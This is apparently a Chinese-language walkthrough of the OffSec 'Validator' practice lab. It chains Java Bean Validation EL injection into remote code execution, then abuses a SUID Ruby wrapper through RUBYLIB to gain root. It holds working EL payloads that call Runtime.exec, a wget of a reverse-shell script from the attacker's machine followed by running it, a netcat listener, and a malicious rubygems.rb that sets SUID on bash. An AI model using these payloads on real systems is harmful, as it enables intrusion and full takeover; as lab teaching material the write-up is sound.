演练
验证器利用指南
概括:
在本指南中,我们将利用公共存储库中在线发现的表达式语言(EL)注入来建立我们的初步立足点。为了提升权限,我们将使用恶意 rubygems 库来利用 SUID 二进制文件来获取 root 访问权限。
枚举
我们通过简单的 nmap 扫描开始枚举过程:
$ nmap -p- validator.pg -vv --min-rate 1000 -n
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-17 23:35 CET
....
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
3000/tcp open ppp syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
MAC Address: 08:00:27:A3:70:A8 (Oracle VirtualBox virtual NIC)
我们首先导航到端口上的 Web 应用程序8080
:
![图片[1]-Validator-白鸢的笔记](https://offsec-platform.s3.amazonaws.com/walkthroughs-images/PG_Practice_156_image_1_S36TEV4L.png)
当我们输入 IP 和开放端口时,我们会看到盒子如何连接到我们。
然而,我们无法收集任何更多有趣的信息,并继续查看端口上运行的应用程序3000
。
我们注意到gitea软件包,并且有一个公共存储库:
![图片[2]-Validator-白鸢的笔记](https://offsec-platform.s3.amazonaws.com/walkthroughs-images/PG_Practice_156_image_2_G4F5R9PA.png)
我们使用 克隆该项目git clone http://validator.pg:3000/dev/repo
。源似乎与 port 上运行的应用程序匹配8080
。
![图片[3]-Validator-白鸢的笔记](https://offsec-platform.s3.amazonaws.com/walkthroughs-images/PG_Practice_156_image_3_R9T6Y3LK.png)
现在我们查看控制器src/main/java/com/ugc/app/controller/VerificationController.java
::
package com.ugc.app.controller;
import com.ugc.app.Host;
import com.ugc.app.IHostValidator;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletResponse;
import javax.validation.ConstraintViolationException;
import java.net.Socket;
import java.util.Map;
@RestController
@Validated
class VerificationController {
@PostMapping("/")
ResponseEntity<Map<String, String>> check(
@RequestBody @IHostValidator final Host host, final HttpServletResponse response) {
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
try (final Socket ignored = new Socket(host.getIp(), host.getPort())) {
return new ResponseEntity<>(Map.of("message", "Port is open"), HttpStatus.OK);
} catch (final Exception e) {
return new ResponseEntity<>(Map.of("error", "Port is closed"), HttpStatus.OK);
}
}
@ExceptionHandler(ConstraintViolationException.class)
@ResponseStatus(HttpStatus.BAD_REQUEST)
@ResponseBody
ResponseEntity<Map<String, String>> handleConstraintViolationException(final ConstraintViolationException e, final HttpServletResponse response) {
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
return new ResponseEntity<>(Map.of("error", "Illegal arguments given: " + e.getMessage()), HttpStatus.BAD_REQUEST);
}
}
我们注意到,如果我们输入无效主机,则会触发验证器:
package com.ugc.app;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class HostValidator implements ConstraintValidator<IHostValidator, Host> {
@Override
public boolean isValid(final Host host, final ConstraintValidatorContext context) {
final String value = host.getIp();
final Pattern pattern = Pattern.compile("^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$");
final Matcher matcher = pattern.matcher(value);
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate("Invalid IP address: " + value).addConstraintViolation();
if (host.getPort() < 0 || host.getPort() > 65535) {
context.buildConstraintViolationWithTemplate("Invalid Port: " + host.getPort()).addConstraintViolation();
}
try {
if (!matcher.matches()) {
return false;
} else {
for (int i = 1; i <= 4; i++) {
final int octet = Integer.parseInt(matcher.group(i));
if (octet > 255) {
return false;
}
}
return true;
}
} catch (final Exception e) {
return false;
}
}
}
博客文章 (https://securitylab.github.com/research/bean-validation-RCE) 详细介绍了我们如何滥用自定义验证器,该验证器使用我们的用户输入构建错误消息以注入 java 代码。我们可以通过输入有效的 EL 表达式来确认注入:
![图片[4]-Validator-白鸢的笔记](https://offsec-platform.s3.amazonaws.com/walkthroughs-images/PG_Practice_156_image_4_R5D7CVB2.png)
在尝试了一些有效负载来实现 RCE 后,可以进行以下操作:
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("id")}
![图片[5]-Validator-白鸢的笔记](https://offsec-platform.s3.amazonaws.com/walkthroughs-images/PG_Practice_156_image_5_K3F8GNB5TL.png)
为了获得 shell,我们启动一个在端口上运行的网络服务器9001
,该服务器提供包含我们的反向 shell 的文件。
现在我们提交以下内容:
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("wget 10.0.2.2:9001/shell -O /tmp/shell")}
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("bash /tmp/shell")}
我们在 shell 中收到的响应为svc-acc
。
```bash
$ nc -klp 9000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:43242.
bash: cannot set terminal process group (66428): Inappropriate ioctl for device
bash: no job control in this shell
svc-acc@validator:/$
权限提升
在我们的枚举过程中,我们搜索有趣的 SUID 二进制文件:
svc-acc@validator:/$ find / -type f -perm -4000 2>/dev/null
..
/usr/bin/mount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/at
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/local/sbin/check-ruby-gems
..
svc-acc@validator:/$
我们注意到这个不常见的/usr/local/sbin/check-ruby-gems
二进制文件,并使用该命令收集有关该二进制文件的更多信息file
。
$ file check-ruby-gems
check-ruby-gems: setuid ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6332716e25257c6e332e692e570cb9e49888026f, for GNU/Linux 3.2.0, stripped
我们看到这是一个64位的ELF文件,strings
对该文件运行命令:
^$\.*+?()[]{}|
.[\*^$
.[\()*+?{|^$
.[\()*+?{|^$
.[\*^$
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PATH
ruby --version
ruby\s(\d)
Version detected: %d
/usr/local/sbin/ruby2-list-outdated-gems.rb
Version is not compatible!
Invalid return data
Error occurred
basic_string::_M_construct null not valid
cannot create std::vector larger than max_size()
Unexpected end of regex when escaping.
我们可以假设二进制文件检查 Ruby 版本和要求,然后在同一文件夹中执行 Ruby 脚本。该二进制文件显式设置 PATH 环境变量,这意味着我们无法尝试任何路径注入技巧。
然而,它仍然会引发我们可以滥用的 Ruby 解释器/脚本。查看 Ruby 的手册页,我们注意到它需要一些环境变量。最突出的是:RUBYLIB:
![图片[6]-Validator-白鸢的笔记](https://offsec-platform.s3.amazonaws.com/walkthroughs-images/PG_Practice_156_image_6_Y5R4EDF9.png)
以下 ruby 脚本/usr/local/sbin/ruby2-list-outdated-gems.rb
:
#! /usr/bin/env ruby
require 'rubygems'
def latest_gem_version(gem_name)
# Fetch available gem versions
versions = Gem::Specification.find_all_by_name(gem_name).map(&:version)
# Sort by version number
versions.sort_by(&:to_s).last
end
Gem::Specification.each do |spec|
puts "#{spec.name} version=#{spec.version} latest=#{latest_gem_version(spec.name)}"
end
我们看到该脚本需要rubygems
-gem。我们可以将 RUBYLIB 环境变量设置为我们使用恶意 rubygems 库控制的路径:
$ cd /tmp
$ cat rubygems.rb
#! /usr/bin/ruby
`chmod u+s /bin/bash`
再次调用二进制文件,我们注意到不同的输出:
$ /usr/local/sbin/check-ruby-gems
Version detected: 2
Traceback (most recent call last):
/usr/local/sbin/ruby2-list-outdated-gems.rb:13:in `<main>': uninitialized constant Gem::Specification (NameError)
现在,我们在 bash 上有了 setuid,并bash -p
以 root 身份执行以获取 shell。